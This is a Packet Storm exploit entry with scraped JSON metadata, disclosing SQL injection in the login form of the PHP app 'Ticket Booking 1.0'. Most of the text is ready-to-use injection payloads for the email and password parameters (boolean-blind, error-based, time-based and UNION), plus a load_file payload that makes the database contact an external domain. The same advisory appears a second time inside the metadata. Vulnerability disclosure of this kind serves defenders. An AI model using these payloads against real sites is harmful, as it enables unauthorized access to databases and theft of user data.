ID PACKETSTORM:165269 Type packetstorm Reporter nu11secur1ty Modified 2021-12-14T00:00:00
Description
`## Title: Ticket Booking 1.0 suffer from SQL - Injenction
## Author: nu11secur1ty
## Date: 12.14.2021
## Vendor: https://code-projects.org/ticket-booking-in-php-with-source-code/
## Software: https://code-projects.org/ticket-booking-in-php-with-source-code/
## Description:
The password parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\dl2edbuqvk9djxngyslxk9z7hynrbqzh25uslga.nu11secur1tyPenetrationTestingEngineer.net\\yba'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. The attacker can be retrieving all
information from this system.
[+] Payload:
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: email=-9424' OR 1979=1979#&password=hacked' or
'4861'='4870&login_submit=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
OR (SELECT 3647 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT
(ELT(3647=3647,1))),0x71716a7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RnIV&password=hacked' or
'4861'='4870&login_submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
AND (SELECT 2804 FROM (SELECT(SLEEP(5)))urgo)-- taiV&password=hacked'
or '4861'='4870&login_submit=
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
UNION ALL SELECT
NULL,CONCAT(0x717a6b7a71,0x5379666f7a4b7256695768444c63617a724465514467724f4c59744a4d574a6d4c697974424d4c47,0x71716a7a71),NULL,NULL,NULL,NULL,NULL#&password=hacked'
or '4861'='4870&login_submit=
## Reproduce:
[href]()
## Proof and Exploit:
[href](https://streamable.com/vtr95i)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
`
{"id": "PACKETSTORM:165269", "vendorId": null, "type": "packetstorm", "bulletinFamily": "exploit", "title": "Ticket Booking 1.0 SQL Injection", "description": "", "published": "2021-12-14T00:00:00", "modified": "2021-12-14T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://packetstormsecurity.com/files/165269/Ticket-Booking-1.0-SQL-Injection.html", "reporter": "nu11secur1ty", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2021-12-14T16:48:38", "viewCount": 72, "enchantments": {"dependencies": {}, "score": {"value": -0.0, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/165269/ticketbooking10-sql.txt", "sourceData": "`## Title: Ticket Booking 1.0 suffer from SQL - Injenction \n## Author: nu11secur1ty \n## Date: 12.14.2021 \n## Vendor: https://code-projects.org/ticket-booking-in-php-with-source-code/ \n## Software: https://code-projects.org/ticket-booking-in-php-with-source-code/ \n \n## Description: \nThe password parameter appears to be vulnerable to SQL injection \nattacks. The payload '+(select \nload_file('\\\\\\\\dl2edbuqvk9djxngyslxk9z7hynrbqzh25uslga.nu11secur1tyPenetrationTestingEngineer.net\\\\yba'))+' \nwas submitted in the password parameter. \nThis payload injects a SQL sub-query that calls MySQL's load_file \nfunction with a UNC file path that references a URL on an external \ndomain. \nThe application interacted with that domain, indicating that the \ninjected SQL query was executed. The attacker can be retrieving all \ninformation from this system. \n \n[+] Payload: \n \nParameter: email (POST) \nType: boolean-based blind \nTitle: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) \nPayload: email=-9424' OR 1979=1979#&password=hacked' or \n'4861'='4870&login_submit= \n \nType: error-based \nTitle: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or \nGROUP BY clause (FLOOR) \nPayload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net' \nOR (SELECT 3647 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT \n(ELT(3647=3647,1))),0x71716a7a71,FLOOR(RAND(0)*2))x FROM \nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RnIV&password=hacked' or \n'4861'='4870&login_submit= \n \nType: time-based blind \nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP) \nPayload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net' \nAND (SELECT 2804 FROM (SELECT(SLEEP(5)))urgo)-- taiV&password=hacked' \nor '4861'='4870&login_submit= \n \nType: UNION query \nTitle: MySQL UNION query (NULL) - 7 columns \nPayload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net' \nUNION ALL SELECT \nNULL,CONCAT(0x717a6b7a71,0x5379666f7a4b7256695768444c63617a724465514467724f4c59744a4d574a6d4c697974424d4c47,0x71716a7a71),NULL,NULL,NULL,NULL,NULL#&password=hacked' \nor '4861'='4870&login_submit= \n \n## Reproduce: \n[href]() \n \n## Proof and Exploit: \n[href](https://streamable.com/vtr95i) \n \n \n-- \nSystem Administrator - Infrastructure Engineer \nPenetration Testing Engineer \nExploit developer at https://packetstormsecurity.com/ \nhttps://cve.mitre.org/index.html and https://www.exploit-db.com/ \nhome page: https://www.nu11secur1ty.com/ \nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= \nnu11secur1ty <http://nu11secur1ty.com/> \n`\n", "_state": {"dependencies": 1646123914}}